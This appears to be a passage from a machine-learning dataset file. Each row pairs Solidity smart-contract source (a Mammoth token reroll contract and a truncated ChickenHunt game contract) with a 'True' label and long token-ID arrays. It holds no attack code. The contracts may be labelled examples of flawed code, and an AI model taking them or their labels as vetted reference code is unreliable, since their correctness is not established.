8167,
2229,
1025,
1035,
5703,
1027,
2372,
1031,
1035,
4769,
1033,
1012,
2266,
26657,
1025,
2709,
1006,
1035,
5950,
1010,
1035,
6661,
1010,
1035,
5703,
1007,
1025,
1065,
3853,
2131,
4168,
21784,
3597,
16671,
1006,
1007,
2270,
5377,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
5950,
1012,
3091,
1025,
1065,
3853,
2131,
4168,
21784,
20363,
3207,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-20
*/
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/BeastReroll.sol
pragma solidity ^0.8.0;
interface MAMMOTH {
function burn(address _from, uint256 _amount) external;
function mintMammoth(address _to, uint256 _amount) external;
}
interface RWASTE {
function transferFrom(address sender, address recipient, uint256 amount) external;
}
interface DMT {
function transferFrom(address sender, address recipient, uint256 amount) external;
}
interface PrimalBeasts {
function ownerOf(uint256 tokenIDofBeast) external returns (address);
function setReward(address ownerAddress, uint256 newReward) external;
function calcNewReward(address from) external view returns(uint256);
function claimableReward(address from) external view returns (uint256);
}
contract mammothReroll is Ownable, ReentrancyGuard {
RWASTE public rwasteHandler = RWASTE(0x5cd2FAc9702D68dde5a94B1af95962bCFb80fC7d);
DMT public dmtHandler = DMT(0x5b1D655C93185b06B00f7925791106132Cb3ad75);
MAMMOTH public mammothHandler = MAMMOTH(0xa95ECa953CcF7eBF1a17018db14356DA5Ff92803);
PrimalBeasts public primalHandler = PrimalBeasts(0xE3c47892E6c71E881eaFF077664E3055A48F8E27);
constructor(){}
mapping(address => uint256) public claimedReward;
mapping(address => bool) public approvedAddress;
bool public mammothEnabled = true;
bool public mammothBuyingEnabled = true;
function setBuyEnabled(bool newState) public onlyOwner{
mammothBuyingEnabled = newState;
}
function setReward(address ownerAddress, uint256 newReward) public {
require(approvedAddress[msg.sender], "Only controllers can set reward");
claimedReward[ownerAddress] = newReward;
}
function buyWithMammoth(address ownerAddress, uint256 price) public {
require(ownerAddress == msg.sender, "Can't buy with others' money");
require(mammothBuyingEnabled, "buying turned off");
if (getFinalReward(msg.sender) > price){
claimedReward[ownerAddress] += price;
}
else{
mammothHandler.burn(msg.sender, price);
}
}
function spendMammoth(address ownerAddress, uint256 newReward) public {
require(approvedAddress[msg.sender], "Only controllers can set reward");
claimedReward[ownerAddress] += newReward;
}
function activateMammoth(bool mammothGo) external onlyOwner{
mammothEnabled = mammothGo;
}
function addController(address owner, bool access) external onlyOwner {
approvedAddress[owner] = access;
}
function claimRewards(address claimer) public nonReentrant{
require(mammothEnabled, "Mammoth is paused.");
require(claimer == msg.sender || approvedAddress[msg.sender], "Can't claim for others");
uint256 total = ((primalHandler.calcNewReward(claimer) + primalHandler.claimableReward(claimer) - claimedReward[claimer]));
if (total > 0) {
mammothHandler.mintMammoth(claimer, total);
}
claimedReward[claimer] += total;
}
function getOldReward(address claimer) public view returns (uint256){
return (primalHandler.claimableReward(claimer) + primalHandler.calcNewReward(claimer));
}
function getFinalReward(address claimer) public view returns (uint256){
return (primalHandler.claimableReward(claimer) + primalHandler.calcNewReward(claimer) - claimedReward[claimer]);
}
function setRWaste(address rWasted) external onlyOwner {
rwasteHandler = RWASTE(rWasted);
}
function setDMT(address DMTer) external onlyOwner {
dmtHandler = DMT(DMTer);
}
function setMammoth(address mammothAdder) external onlyOwner {
mammothHandler = MAMMOTH(mammothAdder);
}
function setPB(address PBAddy) external onlyOwner {
primalHandler = PrimalBeasts(PBAddy);
}
event mammothRerollEmit(uint256 beast);
event rwasteRerollEmit(uint256 beast);
event dmtRerollEmit(uint256 beast);
uint256 public rerollCost = 100 ether;
uint256 public rerollDMTCost = 50 ether;
uint256 public rerollRWASTECost = 20 ether;
function changeDMTCost(uint256 newCostDMT) public onlyOwner{
rerollDMTCost = newCostDMT;
}
function changeCost(uint256 newCost) public onlyOwner{
rerollCost = newCost;
}
function changeRWASTECost(uint256 newCostRWASTE) public onlyOwner{
rerollRWASTECost = newCostRWASTE;
}
address burnWalletDMT = 0xEaf13874Cf4408C71B78c7854Ab9A20ED5Af507d;
address burnWalletRWASTE = 0xEaf13874Cf4408C71B78c7854Ab9A20ED5Af507d;
address burnWallet = 0xEaf13874Cf4408C71B78c7854Ab9A20ED5Af507d;
function newBurnWallet(address newBurner) public onlyOwner{
burnWallet = newBurner;
}
function newBurnWalletDMT(address newBurner) public onlyOwner{
burnWalletDMT = newBurner;
}
function newBurnWalletRWASTE(address newBurner) public onlyOwner{
burnWalletRWASTE = newBurner;
}
bool public DMTReady = false;
bool public RWASTEReady = false;
bool public MammothReady = true;
function mammothApprove(bool newState) public onlyOwner{
MammothReady = newState;
}
function DMTApprove(bool newState) public onlyOwner{
DMTReady = newState;
}
function RWASTEApprove(bool newState) public onlyOwner{
RWASTEReady = newState;
}
function rerollMammoth(uint256 tokenID) public{
require(primalHandler.ownerOf(tokenID) == msg.sender, "Must own token");
require(MammothReady, "Rerolls not active");
if (((primalHandler.calcNewReward(msg.sender) + primalHandler.claimableReward(msg.sender) - claimedReward[msg.sender])) > rerollCost){
claimedReward[msg.sender] += rerollCost;
}
else{
mammothHandler.burn(msg.sender, rerollCost);
}
emit mammothRerollEmit(tokenID);
}
function rerollDMT(uint256 tokenID) public{
require(primalHandler.ownerOf(tokenID) == msg.sender, "Must own token");
require(DMTReady, "Rerolls not active");
dmtHandler.transferFrom(msg.sender, burnWalletDMT, rerollDMTCost);
emit dmtRerollEmit(tokenID);
}
function rerollrwaste(uint256 tokenID) public{
require(primalHandler.ownerOf(tokenID) == msg.sender, "Must own token");
require(RWASTEReady, "Rerolls not active");
rwasteHandler.transferFrom(msg.sender, burnWalletRWASTE, rerollRWASTECost);
emit rwasteRerollEmit(tokenID);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6021,
1011,
2322,
1008,
1013,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3036,
1013,
2128,
4765,
5521,
5666,
18405,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
3036,
1013,
2128,
4765,
5521,
5666,
18405,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3206,
11336,
2008,
7126,
4652,
2128,
4765,
17884,
4455,
2000,
1037,
3853,
1012,
1008,
1008,
22490,
2075,
2013,
1036,
2128,
4765,
5521,
5666,
18405,
1036,
2097,
2191,
1996,
1063,
2512,
28029,
6494,
3372,
1065,
16913,
18095,
1008,
2800,
1010,
2029,
2064,
2022,
4162,
2000,
4972,
2000,
2191,
2469,
2045,
2024,
2053,
9089,
2098,
1008,
1006,
2128,
4765,
17884,
1007,
4455,
2000,
2068,
1012,
1008,
1008,
3602,
2008,
2138,
2045,
2003,
1037,
2309,
1036,
2512,
28029,
6494,
3372,
1036,
3457,
1010,
4972,
4417,
2004,
1008,
1036,
2512,
28029,
6494,
3372,
1036,
2089,
2025,
2655,
2028,
2178,
1012,
2023,
2064,
2022,
2499,
2105,
2011,
2437,
1008,
2216,
4972,
1036,
2797,
1036,
1010,
1998,
2059,
5815,
1036,
6327,
1036,
1036,
2512,
28029,
6494,
3372,
1036,
4443,
1008,
2685,
2000,
2068,
1012,
1008,
1008,
5955,
1024,
2065,
2017,
2052,
2066,
2000,
4553,
2062,
2055,
2128,
4765,
5521,
5666,
1998,
4522,
3971,
1008,
2000,
4047,
2114,
2009,
1010,
4638,
2041,
2256,
9927,
2695,
1008,
16770,
1024,
1013,
1013,
9927,
1012,
2330,
4371,
27877,
2378,
1012,
4012,
1013,
2128,
4765,
5521,
5666,
1011,
2044,
1011,
9960,
1013,
1031,
2128,
4765,
5521,
5666,
2044,
9960,
1033,
1012,
1008,
1013,
10061,
3206,
2128,
4765,
5521,
5666,
18405,
1063,
1013,
1013,
22017,
20898,
2015,
2024,
2062,
6450,
2084,
21318,
3372,
17788,
2575,
2030,
2151,
2828,
2008,
3138,
2039,
1037,
2440,
1013,
1013,
2773,
2138,
2169,
4339,
3169,
12495,
3215,
2019,
4469,
22889,
10441,
2094,
2000,
2034,
3191,
1996,
1013,
1013,
10453,
1005,
1055,
8417,
1010,
5672,
1996,
9017,
2579,
2039,
2011,
1996,
22017,
20898,
1010,
1998,
2059,
4339,
1013,
1013,
2067,
1012,
2023,
2003,
1996,
21624,
1005,
1055,
3639,
2114,
3206,
18739,
1998,
1013,
1013,
20884,
14593,
2075,
1010,
1998,
2009,
3685,
2022,
9776,
1012,
1013,
1013,
1996,
5300,
2108,
2512,
1011,
5717,
3643,
3084,
10813,
1037,
2978,
2062,
6450,
1010,
1013,
1013,
2021,
1999,
3863,
1996,
25416,
8630,
2006,
2296,
2655,
2000,
2512,
28029,
6494,
3372,
2097,
2022,
2896,
1999,
1013,
1013,
3815,
1012,
2144,
25416,
26698,
2024,
13880,
2000,
1037,
7017,
1997,
1996,
2561,
1013,
1013,
12598,
1005,
1055,
3806,
1010,
2009,
2003,
2190,
2000,
2562,
2068,
2659,
1999,
3572,
2066,
2023,
2028,
1010,
2000,
1013,
1013,
3623,
1996,
16593,
1997,
1996,
2440,
25416,
8630,
2746,
2046,
3466,
1012,
21318,
3372,
17788,
2575,
2797,
5377,
1035,
2025,
1035,
3133,
1027,
1015,
1025,
21318,
3372,
17788,
2575,
2797,
5377,
1035,
3133,
1027,
1016,
1025,
21318,
3372,
17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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
}
function square(uint256 a) internal pure returns (uint256) {
return mul(a, a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
}
}
contract ERC20Interface {
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() public view returns (uint256);
function balanceOf(address _owner) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance( address _owner, address _spender) public view returns (uint256);
}
/**
* @title CHStock
* @author M.H. Kang
*/
contract CHStock is ERC20Interface {
using SafeMath for uint256;
/* EVENT */
event RedeemShares(
address indexed user,
uint256 shares,
uint256 dividends
);
/* STORAGE */
string public name = "ChickenHuntStock";
string public symbol = "CHS";
uint8 public decimals = 18;
uint256 public totalShares;
uint256 public dividendsPerShare;
uint256 public constant CORRECTION = 1 << 64;
mapping (address => uint256) public ethereumBalance;
mapping (address => uint256) internal shares;
mapping (address => uint256) internal refund;
mapping (address => uint256) internal deduction;
mapping (address => mapping (address => uint256)) internal allowed;
/* FUNCTION */
function redeemShares() public {
uint256 _shares = shares[msg.sender];
uint256 _dividends = dividendsOf(msg.sender);
delete shares[msg.sender];
delete refund[msg.sender];
delete deduction[msg.sender];
totalShares = totalShares.sub(_shares);
ethereumBalance[msg.sender] = ethereumBalance[msg.sender].add(_dividends);
emit RedeemShares(msg.sender, _shares, _dividends);
}
function transfer(address _to, uint256 _value) public returns (bool) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool)
{
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function dividendsOf(address _shareholder) public view returns (uint256) {
return dividendsPerShare.mul(shares[_shareholder]).add(refund[_shareholder]).sub(deduction[_shareholder]) / CORRECTION;
}
function totalSupply() public view returns (uint256) {
return totalShares;
}
function balanceOf(address _owner) public view returns (uint256) {
return shares[_owner];
}
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/* INTERNAL FUNCTION */
function _giveShares(address _user, uint256 _ethereum) internal {
if (_ethereum > 0) {
totalShares = totalShares.add(_ethereum);
deduction[_user] = deduction[_user].add(dividendsPerShare.mul(_ethereum));
shares[_user] = shares[_user].add(_ethereum);
dividendsPerShare = dividendsPerShare.add(_ethereum.mul(CORRECTION) / totalShares);
emit Transfer(address(0), _user, _ethereum);
}
}
function _transfer(address _from, address _to, uint256 _value) internal {
require(_to != address(0));
require(_value <= shares[_from]);
uint256 _rawProfit = dividendsPerShare.mul(_value);
uint256 _refund = refund[_from].add(_rawProfit);
uint256 _min = _refund < deduction[_from] ? _refund : deduction[_from];
refund[_from] = _refund.sub(_min);
deduction[_from] = deduction[_from].sub(_min);
deduction[_to] = deduction[_to].add(_rawProfit);
shares[_from] = shares[_from].sub(_value);
shares[_to] = shares[_to].add(_value);
emit Transfer(_from, _to, _value);
}
}
/**
* @title CHGameBase
* @author M.H. Kang
*/
contract CHGameBase is CHStock {
/* DATA STRUCT */
struct House {
Hunter hunter;
uint256 huntingPower;
uint256 offensePower;
uint256 defensePower;
uint256 huntingMultiplier;
uint256 offenseMultiplier;
uint256 defenseMultiplier;
uint256 depots;
uint256[] pets;
}
struct Hunter {
uint256 strength;
uint256 dexterity;
uint256 constitution;
uint256 resistance;
}
struct Store {
address owner;
uint256 cut;
uint256 cost;
uint256 balance;
}
/* STORAGE */
Store public store;
uint256 public devCut;
uint256 public devFee;
uint256 public altarCut;
uint256 public altarFund;
uint256 public dividendRate;
uint256 public totalChicken;
address public chickenTokenDelegator;
mapping (address => uint256) public lastSaveTime;
mapping (address => uint256) public savedChickenOf;
mapping (address => House) internal houses;
/* FUNCTION */
function saveChickenOf(address _user) public returns (uint256) {
uint256 _unclaimedChicken = _unclaimedChickenOf(_user);
totalChicken = totalChicken.add(_unclaimedChicken);
uint256 _chicken = savedChickenOf[_user].add(_unclaimedChicken);
savedChickenOf[_user] = _chicken;
lastSaveTime[_user] = block.timestamp;
return _chicken;
}
function transferChickenFrom(address _from, address _to, uint256 _value)
public
returns (bool)
{
require(msg.sender == chickenTokenDelegator);
require(saveChickenOf(_from) >= _value);
savedChickenOf[_from] = savedChickenOf[_from] - _value;
savedChickenOf[_to] = savedChickenOf[_to].add(_value);
return true;
}
function chickenOf(address _user) public view returns (uint256) {
return savedChickenOf[_user].add(_unclaimedChickenOf(_user));
}
/* INTERNAL FUNCTION */
function _payChicken(address _user, uint256 _chicken) internal {
uint256 _unclaimedChicken = _unclaimedChickenOf(_user);
uint256 _extraChicken;
if (_chicken > _unclaimedChicken) {
_extraChicken = _chicken - _unclaimedChicken;
require(savedChickenOf[_user] >= _extraChicken);
savedChickenOf[_user] -= _extraChicken;
totalChicken -= _extraChicken;
} else {
_extraChicken = _unclaimedChicken - _chicken;
totalChicken = totalChicken.add(_extraChicken);
savedChickenOf[_user] += _extraChicken;
}
lastSaveTime[_user] = block.timestamp;
}
function _payEthereumAndDistribute(uint256 _cost) internal {
require(_cost * 100 / 100 == _cost);
_payEthereum(_cost);
uint256 _toShareholders = _cost * dividendRate / 100;
uint256 _toAltar = _cost * altarCut / 100;
uint256 _toStore = _cost * store.cut / 100;
devFee = devFee.add(_cost - _toShareholders - _toAltar - _toStore);
_giveShares(msg.sender, _toShareholders);
altarFund = altarFund.add(_toAltar);
store.balance = store.balance.add(_toStore);
}
function _payEthereum(uint256 _cost) internal {
uint256 _extra;
if (_cost > msg.value) {
_extra = _cost - msg.value;
require(ethereumBalance[msg.sender] >= _extra);
ethereumBalance[msg.sender] -= _extra;
} else {
_extra = msg.value - _cost;
ethereumBalance[msg.sender] = ethereumBalance[msg.sender].add(_extra);
}
}
function _unclaimedChickenOf(address _user) internal view returns (uint256) {
uint256 _timestamp = lastSaveTime[_user];
if (_timestamp > 0 && _timestamp < block.timestamp) {
return houses[_user].huntingPower.mul(
houses[_user].huntingMultiplier
).mul(block.timestamp - _timestamp) / 100;
} else {
return 0;
}
}
function _houseOf(address _user)
internal
view
returns (House storage _house)
{
_house = houses[_user];
require(_house.depots > 0);
}
}
/**
* @title CHHunter
* @author M.H. Kang
*/
contract CHHunter is CHGameBase {
/* EVENT */
event UpgradeHunter(
address indexed user,
string attribute,
uint256 to
);
/* DATA STRUCT */
struct Config {
uint256 chicken;
uint256 ethereum;
uint256 max;
}
/* STORAGE */
Config public typeA;
Config public typeB;
/* FUNCTION */
function upgradeStrength(uint256 _to) external payable {
House storage _house = _houseOf(msg.sender);
uint256 _from = _house.hunter.strength;
require(typeA.max >= _to && _to > _from);
_payForUpgrade(_from, _to, typeA);
uint256 _increment = _house.hunter.dexterity.mul(2).add(8).mul(_to.square() - _from ** 2);
_house.hunter.strength = _to;
_house.huntingPower = _house.huntingPower.add(_increment);
_house.offensePower = _house.offensePower.add(_increment);
emit UpgradeHunter(msg.sender, "strength", _to);
}
function upgradeDexterity(uint256 _to) external payable {
House storage _house = _houseOf(msg.sender);
uint256 _from = _house.hunter.dexterity;
require(typeB.max >= _to && _to > _from);
_payForUpgrade(_from, _to, typeB);
uint256 _increment = _house.hunter.strength.square().mul((_to - _from).mul(2));
_house.hunter.dexterity = _to;
_house.huntingPower = _house.huntingPower.add(_increment);
_house.offensePower = _house.offensePower.add(_increment);
emit UpgradeHunter(msg.sender, "dexterity", _to);
}
function upgradeConstitution(uint256 _to) external payable {
House storage _house = _houseOf(msg.sender);
uint256 _from = _house.hunter.constitution;
require(typeA.max >= _to && _to > _from);
_payForUpgrade(_from, _to, typeA);
uint256 _increment = _house.hunter.resistance.mul(2).add(8).mul(_to.square() - _from ** 2);
_house.hunter.constitution = _to;
_house.defensePower = _house.defensePower.add(_increment);
emit UpgradeHunter(msg.sender, "constitution", _to);
}
function upgradeResistance(uint256 _to) external payable {
House storage _house = _houseOf(msg.sender);
uint256 _from = _house.hunter.resistance;
require(typeB.max >= _to && _to > _from);
_payForUpgrade(_from, _to, typeB);
uint256 _increment = _house.hunter.constitution.square().mul((_to - _from).mul(2));
_house.hunter.resistance = _to;
_house.defensePower = _house.defensePower.add(_increment);
emit UpgradeHunter(msg.sender, "resistance", _to);
}
/* INTERNAL FUNCTION */
function _payForUpgrade(uint256 _from, uint256 _to, Config _type) internal {
uint256 _chickenCost = _type.chicken.mul(_gapOfCubeSum(_from, _to));
_payChicken(msg.sender, _chickenCost);
uint256 _ethereumCost = _type.ethereum.mul(_gapOfSquareSum(_from, _to));
_payEthereumAndDistribute(_ethereumCost);
}
function _gapOfSquareSum(uint256 _before, uint256 _after)
internal
pure
returns (uint256)
{
// max value is capped to uint32
return (_after * (_after - 1) * (2 * _after - 1) - _before * (_before - 1) * (2 * _before - 1)) / 6;
}
function _gapOfCubeSum(uint256 _before, uint256 _after)
internal
pure
returns (uint256)
{
// max value is capped to uint32
return ((_after * (_after - 1)) ** 2 - (_before * (_before - 1)) ** 2) >> 2;
}
}
/**
* @title CHHouse
* @author M.H. Kang
*/
contract CHHouse is CHHunter {
/* EVENT */
event UpgradePet(
address indexed user,
uint256 id,
uint256 to
);
event UpgradeDepot(
address indexed user,
uint256 to
);
event BuyItem(
address indexed from,
address indexed to,
uint256 indexed id,
uint256 cost
);
event BuyStore(
address indexed from,
address indexed to,
uint256 cost
);
/* DATA STRUCT */
struct Pet {
uint256 huntingPower;
uint256 offensePower;
uint256 defensePower;
uint256 chicken;
uint256 ethereum;
uint256 max;
}
struct Item {
address owner;
uint256 huntingMultiplier;
uint256 offenseMultiplier;
uint256 defenseMultiplier;
uint256 cost;
}
struct Depot {
uint256 ethereum;
uint256 max;
}
/* STORAGE */
uint256 public constant INCREMENT_RATE = 12; // 120% for Item and Store
Depot public depot;
Pet[] public pets;
Item[] public items;
/* FUNCTION */
function buyDepots(uint256 _amount) external payable {
House storage _house = _houseOf(msg.sender);
_house.depots = _house.depots.add(_amount);
require(_house.depots <= depot.max);
_payEthereumAndDistribute(_amount.mul(depot.ethereum));
emit UpgradeDepot(msg.sender, _house.depots);
}
function buyPets(uint256 _id, uint256 _amount) external payable {
require(_id < pets.length);
Pet memory _pet = pets[_id];
uint256 _chickenCost = _amount * _pet.chicken;
_payChicken(msg.sender, _chickenCost);
uint256 _ethereumCost = _amount * _pet.ethereum;
_payEthereumAndDistribute(_ethereumCost);
House storage _house = _houseOf(msg.sender);
if (_house.pets.length < _id + 1) {
_house.pets.length = _id + 1;
}
_house.pets[_id] = _house.pets[_id].add(_amount);
require(_house.pets[_id] <= _pet.max);
_house.huntingPower = _house.huntingPower.add(_pet.huntingPower * _amount);
_house.offensePower = _house.offensePower.add(_pet.offensePower * _amount);
_house.defensePower = _house.defensePower.add(_pet.defensePower * _amount);
emit UpgradePet(msg.sender, _id, _house.pets[_id]);
}
// This is independent of Stock and Altar.
function buyItem(uint256 _id) external payable {
Item storage _item = items[_id];
address _from = _item.owner;
uint256 _price = _item.cost.mul(INCREMENT_RATE) / 10;
_payEthereum(_price);
saveChickenOf(_from);
House storage _fromHouse = _houseOf(_from);
_fromHouse.huntingMultiplier = _fromHouse.huntingMultiplier.sub(_item.huntingMultiplier);
_fromHouse.offenseMultiplier = _fromHouse.offenseMultiplier.sub(_item.offenseMultiplier);
_fromHouse.defenseMultiplier = _fromHouse.defenseMultiplier.sub(_item.defenseMultiplier);
saveChickenOf(msg.sender);
House storage _toHouse = _houseOf(msg.sender);
_toHouse.huntingMultiplier = _toHouse.huntingMultiplier.add(_item.huntingMultiplier);
_toHouse.offenseMultiplier = _toHouse.offenseMultiplier.add(_item.offenseMultiplier);
_toHouse.defenseMultiplier = _toHouse.defenseMultiplier.add(_item.defenseMultiplier);
uint256 _halfMargin = _price.sub(_item.cost) / 2;
devFee = devFee.add(_halfMargin);
ethereumBalance[_from] = ethereumBalance[_from].add(_price - _halfMargin);
items[_id].cost = _price;
items[_id].owner = msg.sender;
emit BuyItem(_from, msg.sender, _id, _price);
}
// This is independent of Stock and Altar.
function buyStore() external payable {
address _from = store.owner;
uint256 _price = store.cost.mul(INCREMENT_RATE) / 10;
_payEthereum(_price);
uint256 _halfMargin = (_price - store.cost) / 2;
devFee = devFee.add(_halfMargin);
ethereumBalance[_from] = ethereumBalance[_from].add(_price - _halfMargin).add(store.balance);
store.cost = _price;
store.owner = msg.sender;
delete store.balance;
emit BuyStore(_from, msg.sender, _price);
}
function withdrawStoreBalance() public {
ethereumBalance[store.owner] = ethereumBalance[store.owner].add(store.balance);
delete store.balance;
}
}
/**
* @title CHArena
* @author M.H. Kang
*/
contract CHArena is CHHouse {
/* EVENT */
event Attack(
address indexed attacker,
address indexed defender,
uint256 booty
);
/* STORAGE */
mapping(address => uint256) public attackCooldown;
uint256 public cooldownTime;
/* FUNCTION */
function attack(address _target) external {
require(attackCooldown[msg.sender] < block.timestamp);
House storage _attacker = houses[msg.sender];
House storage _defender = houses[_target];
if (_attacker.offensePower.mul(_attacker.offenseMultiplier)
> _defender.defensePower.mul(_defender.defenseMultiplier)) {
uint256 _chicken = saveChickenOf(_target);
_chicken = _defender.depots > 0 ? _chicken / _defender.depots : _chicken;
savedChickenOf[_target] = savedChickenOf[_target] - _chicken;
savedChickenOf[msg.sender] = savedChickenOf[msg.sender].add(_chicken);
attackCooldown[msg.sender] = block.timestamp + cooldownTime;
